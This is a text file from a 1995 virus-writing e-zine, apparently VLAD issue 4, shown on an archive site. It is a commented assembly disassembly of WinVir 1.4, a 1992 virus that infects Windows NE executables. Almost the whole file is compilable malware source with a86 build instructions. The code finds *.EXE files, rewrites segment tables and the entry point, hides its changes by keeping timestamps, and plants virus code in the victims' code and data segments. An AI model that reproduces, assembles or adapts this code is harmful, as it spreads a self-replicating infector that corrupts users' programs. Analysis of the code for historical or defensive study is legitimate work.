home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#4.ZIP / ARTICLE.3_2 < prev    next >
Encoding:
Text File  |  1995-04-23  |  16.4 KB  |  548 lines

  1.  
  2. ;
  3. ;       WinVir 1.4 disassembly by Qark
  4. ;       Original virus written in the Netherlands
  5. ;        by Masud Khafir [Trident] in 1992.
  6. ;
  7. ; This is an interesting virus due to the very fact that it was the worlds
  8. ; first ever windows executable infector.
  9. ;
  10. ; The virus functions by copying code from the original code segment and
  11. ; auto data segment at offset 100h and appending it to the end of the
  12. ; program.  Then it places it own code and data in the corresponding
  13. ; segments.  
  14. ; When the infected program is executed from inside windows it will search
  15. ; the current directory for any windows executables.  It is very fussy about
  16. ; what it will infect, winmine.exe being one of the few programs it will do.
  17. ; After infecting all the files it can in the current directory, it will then
  18. ; disinfect itself from the program, restoring the original data, and exit
  19. ; back to windows.  The user will assume they clicked the icon incorrectly, 
  20. ; attempt again, at which time the program will function properly.
  21. ;
  22. ; I have heard some Anti-Virus figures claim the virus just fiddles with the
  23. ; DOS stub, but this is infact not the case.  It is a full direct action
  24. ; WinEXE infector.
  25. ;
  26. ; Overall, the virus is well optimised, and it is suprising that seeing
  27. ; how well Musad seems to understand the windows executable header that he
  28. ; couldn't have contrived to make the virus return directly to the original
  29. ; host program and thus make win infection viable earlier.
  30. ;
  31. ; There is an error in the virus with an 'lseek' that isn't even used and has
  32. ; been left out of the disassembly.
  33. ;
  34. ; The disassembly won't compile to be a byte match with the virus but is
  35. ; the same otherwise.
  36. ;
  37. ; Assemble with:
  38. ;  a86 +o winvir14.asm
  39. ;  link winvir14;
  40. ; Don't ask me why, but even my disassemblies only work with a86 ;)
  41. ;
  42.  
  43.  
  44. Virus_seg       Segment
  45. assume cs:virus_seg,ds:data_seg,ss:stack_seg
  46.         org     0fbh            ;This way the code written to the winexe will
  47.                                 ;be org 100h
  48. start:
  49.         mov     ax,data_seg
  50.         mov     ds,ax
  51.  
  52. ;--- From here on gets written to the windows executables ---
  53.         
  54.         cld
  55.         push    es              ;Save ES
  56.  
  57.         push    ds              ;Point DS to ES
  58.         pop     es
  59.  
  60.         mov     si,offset name_space
  61.         mov     di,offset name_space2
  62.         mov     cx,13
  63.         rep     movsb
  64.  
  65.         mov     dx,offset dta   ;Set DTA to our data area.
  66.         mov     ah,1ah
  67.         int     21h
  68.  
  69.         mov     dx,offset wildcard      ;We're looking for this.
  70.         xor     cx,cx                   ;Any attributes.
  71.         mov     ah,4eh                  ;Find first.
  72. find_next:
  73.         int     21h
  74.  
  75.         jc      not_found
  76.  
  77.         mov     dx,offset name_space    ;Infect the file we found.
  78.         call    infect
  79.         mov     ah,4fh                  ;Find next.
  80.         jmp     find_next
  81. not_found:
  82.         mov     dx,offset name_space2
  83.         call    disinfect
  84.         pop     es                      ;Why bother saving/restoring ES ?
  85.  
  86.         mov     ax,4c00h                ;Terminate.
  87.         int     21h
  88.  
  89. ;--Start of subroutines--
  90.  
  91. Infect  Proc    Near
  92.  
  93.         mov     ax,3d02h
  94.         int     21h
  95.         jc      bad_open
  96.         xchg    bx,ax
  97.         mov     si,offset buffer
  98.         call    file_check
  99.         jc      close_exit
  100.         cmp     word ptr [si+14h],100h  ;Check winexe entry IP. Marker ?
  101.         je      close_exit
  102.  
  103.         mov     ax,5700h
  104.         int     21h                     ;Get file date and time.
  105.  
  106.         push    cx
  107.         push    dx
  108.         call    infect_file
  109.         pop     dx
  110.         pop     cx
  111.  
  112.         mov     ax,5701h                ;Restore file date and time.
  113.         int     21h
  114.  
  115. close_exit:
  116.         mov     ah,3eh
  117.         int     21h
  118. bad_open:
  119.         ret
  120.  
  121. Infect  Endp
  122.  
  123. Disinfect       Proc    Near
  124.         mov     ax,3d02h                ;Open file
  125.         int     21h
  126.         jc      bad_open
  127.  
  128.         xchg    bx,ax
  129.  
  130.         mov     si,offset buffer
  131.         call    file_check
  132.         jc      close_exit
  133.  
  134.         ;Is the IP 100h ?  (This is probably the infection marker)
  135.         cmp     word ptr [si+14h],100h
  136.         jne     close_exit
  137.  
  138.         ;Save time/date.
  139.         mov     ax,5700h
  140.         int     21h
  141.  
  142.         push    cx
  143.         push    dx
  144.         call    fix_auto_data
  145.         call    fix_code_seg
  146.         pop     dx
  147.         pop     cx
  148.  
  149.         jmp     close_exit
  150. Disinfect       Endp
  151.  
  152. File_Check      Proc    Near
  153.         call    read_file
  154.         cmp     word ptr [si],'ZM'
  155.         jne     fail_exit
  156.         cmp     word ptr [si+18h],40h
  157.         jb      fail_exit
  158.         mov     ax,word ptr [si+3ch]
  159.         mov     dx,word ptr [si+3eh]
  160.         call    lseek
  161.         mov     word ptr ne_off,ax
  162.         mov     word ptr ne_off+2,dx
  163.         call    read_file
  164.         cmp     word ptr [si],'EN'              ;NE header ?
  165.         jne     fail_exit
  166.         cmp     word ptr [si+0ch],302h          ;Program/App flags
  167.                                                 ;Make sure program is
  168.                                                 ;'unshared' and uses win
  169.                                                 ;API (why bother checking
  170.                                                 ;this ??)
  171.         jne     fail_exit
  172.         cmp     word ptr [si+32h],4             ;Windows shift alignment
  173.         jne     fail_exit                       ;Make sure the shift is
  174.                                                 ;the standard value (why?)
  175.  
  176.         cmp     word ptr [si+36h],802h          ;target OS and exe flags
  177.         jne     fail_exit                       ;Make sure it runs under
  178.                                                 ;windows, and gangload area
  179.                                                 ;(why for ??)
  180.         clc
  181.         ret
  182. fail_exit:
  183.         stc
  184. badsize:
  185.         ret
  186. File_Check      Endp
  187.  
  188. Infect_File     Proc    Near
  189.  
  190.         ;Read the code segment entry into cs_seg
  191.         mov     ax,word ptr [si+16h]            ;AX=Newexe CS
  192.         mov     dx,offset cs_seg
  193.         call    read_rout
  194.         
  195.         ;How big is the CS ?
  196.         cmp     word ptr cs_length,code_size+100h
  197.         jb      badsize
  198.  
  199.  
  200.         cmp     byte ptr cs_attrib,50h          ;requires a preloaded,
  201.                                                 ;movable segment. (why ??)
  202.         jne     badsize
  203.         
  204.         ;Read the autodata segment entry into ds_seg
  205.         mov     ax,word ptr [si+0eh]            ;Auto data segment into AX
  206.         mov     dx,offset ds_seg
  207.         call    read_rout
  208.  
  209.         ;Make sure that DS is big enough for its purpose.
  210.         cmp     word ptr ds_length,datasize+300h
  211.         jb      badsize
  212.  
  213.         ;Lseek to the codesegment.
  214.         mov     ax,word ptr cs_off
  215.         call    lseek_2_segment
  216.  
  217.         ;Read in the codesegment
  218.         mov     dx,offset buffer2
  219.         mov     cx,code_size
  220.         call    read_2
  221.         call    lseek_end
  222.  
  223.         ;Write the original codesegment to the end of the file.
  224.         mov     dx,offset buffer2
  225.         mov     cx,code_size
  226.         call    write_2
  227.         
  228.         ;Lseek to the automatic datasegment.
  229.         mov     ax,word ptr ds_off
  230.         call    lseek_2_segment
  231.         
  232.         ;Read in the automatic datasegment.
  233.         mov     dx,offset buffer2
  234.         mov     cx,datasize
  235.         call    read_2
  236.         call    lseek_end
  237.  
  238.         ;Write the original datasegment to the end of the file, behind
  239.         ; the original code segment.
  240.         mov     dx,offset buffer2
  241.         mov     cx,datasize
  242.         call    write_2
  243.  
  244.         ;Save original segment attributes.
  245.         push    word ptr cs_attrib
  246.         pop     word ptr seg_attrib
  247.  
  248.         ;Remove the 'relocations' setting from the segment attribute.
  249.         ;This is so that the code doesn't get trashed by relocations
  250.         ;that were meant for the original program.
  251.         and     word ptr cs_attrib,0feffh
  252.  
  253.         ;Write the new code segment entry.
  254.         mov     ax,word ptr [si+16h]            ;CS into AX
  255.         mov     dx,offset cs_seg
  256.         call    write_rout
  257.  
  258.         ;Lseek to the start of the NewEXE header.
  259.         xor     ax,ax
  260.         cwd
  261.         call    fix_file_pointer
  262.         
  263.         ;Save the original IP and store it in seg_ip
  264.         push    word ptr [si+14h]
  265.         pop     word ptr seg_ip
  266.  
  267.         ;Set the IP to 100h
  268.         mov     word ptr [si+14h],100h
  269.  
  270.         ;Write the modified NE header back.
  271.         call    write_file
  272.         
  273.         ;Lseek to the code segment.
  274.         mov     ax,word ptr cs_off
  275.         call    lseek_2_segment             
  276.         
  277.         ;Write the virus code to the code segment.
  278.         push    ds
  279.         push    cs
  280.         pop     ds
  281.         mov     dx,100h                         ;DS:DX start of the virus
  282.         mov     cx,code_size                    ;Size of virus code.
  283.         call    write_2
  284.         pop     ds
  285.  
  286.         ;Lseek to the auto data segment.
  287.         mov     ax,word ptr ds_off
  288.         call    lseek_2_segment
  289.  
  290.         ;Write the virus data to the auto data segment.
  291.         mov     dx,100h
  292.         mov     cx,datasize
  293.         call    write_2
  294.  
  295.         ret
  296.  
  297. Infect_File     Endp
  298.  
  299. Fix_Auto_Data   Proc    Near
  300.         ;Read the autodata segment entry into ds_seg
  301.         mov     ax,word ptr [si+0eh]
  302.         mov     dx,offset ds_seg
  303.         call    read_rout
  304.  
  305.         ;Lseek to auto data segment.
  306.         mov     ax,word ptr ds_off
  307.         call    lseek_2_segment
  308.  
  309.         ;Read in the auto data segment into our data segment.
  310.         mov     dx,offset buffer
  311.         mov     cx,datasize
  312.         call    read_2
  313.         
  314.         ret
  315. Fix_Auto_Data   Endp
  316.  
  317. Fix_Code_Seg    Proc    Near
  318.         ;Restore the original CS attributes.
  319.         push    word ptr seg_attrib
  320.         pop     word ptr cs_attrib
  321.  
  322.         ;Write the code segment entry back to the executable.
  323.         mov     ax,word ptr [si+16h]    ;ax=code seg
  324.         call    Write_Rout
  325.         
  326.         ;Restore original IP.
  327.         push    word ptr seg_ip
  328.         pop     word ptr [si+14h]       ;restore IP
  329.  
  330.         ;Lseek to start of NE header.
  331.         xor     ax,ax
  332.         cwd
  333.         call    fix_file_pointer
  334.  
  335.         ;Write original NE header back.
  336.         call    write_file
  337.  
  338.         ;Lseek to end of file.
  339.         call    lseek_end
  340.  
  341.         ;File length is in DX:AX from lseek.  Subtracting will give an
  342.         ;offset from the end of the file.
  343.         sub     ax,datasize
  344.         sbb     dx,0
  345.  
  346.         push    ax
  347.         push    dx
  348.  
  349.         ;Lseek to original saved datasegment.
  350.         call    lseek
  351.         
  352.         ;Read original datasegment into buffer2.
  353.         mov     dx,offset buffer2
  354.         mov     cx,datasize
  355.         call    read_2
  356.         
  357.         ;Lseek to auto data segment.
  358.         mov     ax,word ptr ds_off
  359.         call    lseek_2_segment
  360.         
  361.         ;Write the original data segment back.
  362.         mov     dx,offset buffer2
  363.         mov     cx,datasize
  364.         call    write_2
  365.  
  366.         pop     dx
  367.         pop     ax
  368.         ;DX:AX=file offset of saved original data segment.
  369.         ;Subtracting will point to saved original code segment.
  370.         sub     ax,code_size
  371.         sbb     dx,0
  372.         
  373.         push    ax
  374.         push    dx
  375.  
  376.         ;Lseek to saved original code segment.
  377.         call    lseek
  378.  
  379.         ;Read original code segment into buffer2.
  380.         mov     dx,offset buffer2
  381.         mov     cx,code_size
  382.         call    read_2
  383.  
  384.         ;Lseek to CS.
  385.         mov     ax,word ptr cs_off
  386.         call    lseek_2_segment
  387.         
  388.         ;Write original CS back to program.
  389.         mov     dx,offset buffer2
  390.         mov     cx,code_size
  391.         call    write_2
  392.  
  393.         pop     dx
  394.         pop     ax
  395.  
  396.         ;Lseek to original stored CS appended to program.
  397.         call    lseek
  398.  
  399.         ;Truncate the saved data off the end of the file.
  400.         mov     cx,0                            ;xor cx,cx!
  401.         call    write_2
  402.  
  403.         ret
  404. Fix_Code_Seg    Endp
  405.  
  406. Read_Rout       Proc    Near
  407.         push    dx
  408.         dec     ax                              ;Segment entry - 1
  409.         mov     cx,8                            ;Segment table entry = 8
  410.         mul     cx                              ;Find the CS segment
  411.                                                 ;entry offset.
  412.         add     ax,word ptr [si+22h]            ;Segment table offset
  413.         adc     dx,0
  414.  
  415.         call    fix_file_pointer                ;Will lseek to the segment
  416.                                                 ;table entry of the segment.
  417.         pop     dx
  418.         mov     cx,8
  419.         jmp     read_2
  420.         
  421. Read_Rout       Endp
  422.  
  423. Read_File       Proc    Near
  424. ;sub8
  425.         mov     dx,offset buffer
  426.         mov     cx,40h
  427.  
  428. read_2  proc    near
  429.         mov     ah,3fh
  430.         int     21h
  431.         ret
  432. read_2  endp
  433. Read_File       EndP
  434.  
  435. Write_Rout      Proc    Near
  436.         push    dx
  437.         dec     ax                              ;Segment entry - 1
  438.         mov     cx,8                            ;Segment table entry = 8
  439.         mul     cx                              ;Find the CS segment
  440.                                                 ;entry offset.
  441.         add     ax,word ptr [si+22h]            ;Segment table offset
  442.         adc     dx,0
  443.  
  444.         call    fix_file_pointer                ;Will lseek to the segment
  445.                                                 ;table entry of the segment.
  446.         pop     dx
  447.         mov     cx,8
  448.         jmp     short write_2
  449.  
  450. Write_Rout      Endp
  451.  
  452. Write_File      Proc    Near
  453.         mov     dx,offset buffer
  454.         mov     cx,40h
  455. write_2 proc    near
  456.         mov     ah,40h
  457.         int     21h
  458.         ret
  459. write_2 endp
  460. Write_File      Endp
  461.  
  462. Lseek_End       Proc    Near
  463.  
  464.         mov     ax,4202h
  465.         xor     cx,cx
  466.         cwd
  467.         int     21h
  468.  
  469.         ret
  470. Lseek_End       Endp
  471.  
  472. Fix_File_Pointer        Proc    Near
  473.  
  474.         add     ax,word ptr ne_off
  475.         adc     dx,word ptr ne_off+2
  476.         jmp     short lseek
  477.  
  478. Fix_File_Pointer        Endp
  479.  
  480. Lseek_2_Segment Proc    Near
  481.         mov     cx,10h          ;Since the virus only infects programs
  482.                                 ;with a shift of 4 you can multiply by
  483.                                 ;16 to get the offset.
  484.         mul     cx
  485.         add     ax,100h         ;why ???
  486.         adc     dx,0
  487.         jmp     short lseek
  488.  
  489. Lseek_2_Segment Endp
  490.  
  491. Lseek   Proc    Near
  492. ;lseeks to dx:ax
  493.         xchg    cx,dx
  494.         xchg    dx,ax
  495.         mov     ax,4200h
  496.         int     21h
  497.         ret
  498.  
  499. Lseek   Endp
  500.  
  501. virusname       db      ' Virus_for_Windows  v1.4 '
  502. VCode_End:                             
  503. ;The size of the code segment.
  504. Code_Size       equ     offset vcode_end - 100h         ;$-100h
  505. Virus_Seg       Ends
  506.  
  507.  
  508. Data_Seg        Segment
  509.         db      100h    dup     (0)             ;This doesn't get written
  510.                                                 ;to file.
  511.  
  512.         buffer          db      40h dup ('a')   ;NE header is read into here.
  513.         
  514.         ;The code segment entry of the windows file to be infected.
  515.         cs_seg:                                                 ;140h
  516.         cs_off          dw      'bb'
  517.         cs_length       dw      'bb'                            ;142h
  518.         cs_attrib       dw      'bb'                            ;144h
  519.         cs_alloc        dw      'bb'
  520.  
  521.         ;The data segment entry of the windows file to be infected.
  522.         ds_seg:                                                 ;148h
  523.         ds_off          dw      'cc'
  524.         ds_length       dw      'cc'                            ;14ah
  525.         ds_attrib       dw      'cc'
  526.         ds_alloc        dw      'cc'
  527.  
  528.         dta             db      30 dup ('d')
  529.         name_space      db      13 dup ('d')
  530.         wildcard        db      '*.EXE',0
  531.         name_space2     db      13 dup ('e')
  532.  
  533.         ne_off          dd      0
  534.         seg_ip          dw      0
  535.         seg_attrib      dw      0                               ;1a2h
  536.         author          db      'MK92'
  537.         buffer2         db      8 dup (0)                       ;1a8h
  538.  
  539. Datasize equ offset buffer2 - 100h      ;Size of the datasegment.
  540. Data_Seg        Ends
  541.  
  542. Stack_Seg       Segment Stack
  543.         db      2000h   dup     (0)
  544. Stack_Seg       Ends
  545.  
  546. end     start
  547.